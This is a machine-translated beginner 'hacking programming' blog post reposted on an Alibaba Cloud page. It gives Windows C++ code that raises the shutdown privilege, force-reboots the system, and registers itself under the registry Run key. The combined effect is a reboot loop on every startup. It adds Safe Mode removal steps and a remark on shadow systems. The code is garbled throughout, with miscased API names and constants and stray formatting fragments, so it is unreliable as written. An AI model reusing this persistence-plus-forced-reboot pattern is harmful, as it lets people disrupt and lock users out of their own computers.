2016.9.15 Unlimited start of hacking programming

Source: Internet
Author: User

1. The programming tools involved are: VS2013; can write web,javascript,c++,c and so on in the Windows environment;

2. The first function to be mastered is: ExitWindowsEx (ewx_reboot, 0); This function is used to restart, close, log off the computer;

3. Use this function first, including the Windows API:

#include <windows.h>

4. Permissions issues, code resolution:

BOOL Mysystemshutdown ()
{
HANDLE Htoken;
Token_privileges TKP;

Get a token for this process.

if (! OpenProcessToken (GetCurrentProcess (),
Token_adjust_privileges | Token_query, &htoken))
return (FALSE);

Get the LUID for the shutdown privilege.

Lookupprivilegevalue (NULL, Se_shutdown_name,
&TKP. Privileges[0]. LUID);

Tkp. Privilegecount = 1; One privilege to set
Tkp. Privileges[0]. Attributes = se_privilege_enabled;

Get The shutdown privilege for this process.

AdjustTokenPrivileges (Htoken, FALSE, &TKP, 0,
(ptoken_privileges) NULL, 0);

if (GetLastError ()! = ERROR_SUCCESS)
return FALSE;

Shut down the system and force all applications to close.

if (! ExitWindowsEx (Ewx_reboot | Ewx_force,//exitwindowsex is a system-provided API, to use it, you must first raise the right;
Shtdn_reason_major_operatingsystem |
Shtdn_reason_minor_upgrade |
shtdn_reason_flag_planned))
return FALSE;

Shutdown was successful
return TRUE;
}

Project Settings in 3.vs2013:

(1) Project---Properties----General platform toolset, select XP, which enables programs to operate in XP and above;

(2) Project, properties->c++-> code generation, run library, select Multithreading (/MT)

4. Using code to change the registry settings, the registry is actually the Windows configuration file:

HKEY HKEY = {0}                             &N Bsp                            //initialization, hosting registry, on behalf of registry repair Handle to position
RegOpenKeyEx (hkey_local_machine, L "software\\microsoft\\windows\\ Currentversion\\run ", 0, Key_write,&hkey );  //The path to the registry must be "//"
                          &NBS P                          ,         &NB Sp                          ,         &NB Sp      
Char Sz_path_c[maxbyte] = {0}                   &N Bsp             

GetModuleFileNameA (Nullptr,sz_path_c,maxbyte);
Regsetvalueexa (HKey, "Shutdowndeno", 0, REG_SZ, (byte*) Sz_path_c, strlen (Sz_path_c)); //functions written to the registry

5. System boot, there are not more than 5 places can be written; Crack method:

(1) Start Press F8: Enter Safe mode. In Safe mode:

Option to delete the registry;

(2) Safe mode: delete this software;

6. Shadow Subsystem

The shadow system is the isolation that protects the Windows operating system while creating a virtualized image system that is identical to the real operating system. After entering the shadow system, all operations are virtual, and all viruses and rogue software cannot infect the real operating system. Problems with the system, or the Internet to generate junk files, simply restart the computer, and all the best state of recovery.

2016.9.15 Unlimited start of hacking programming

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.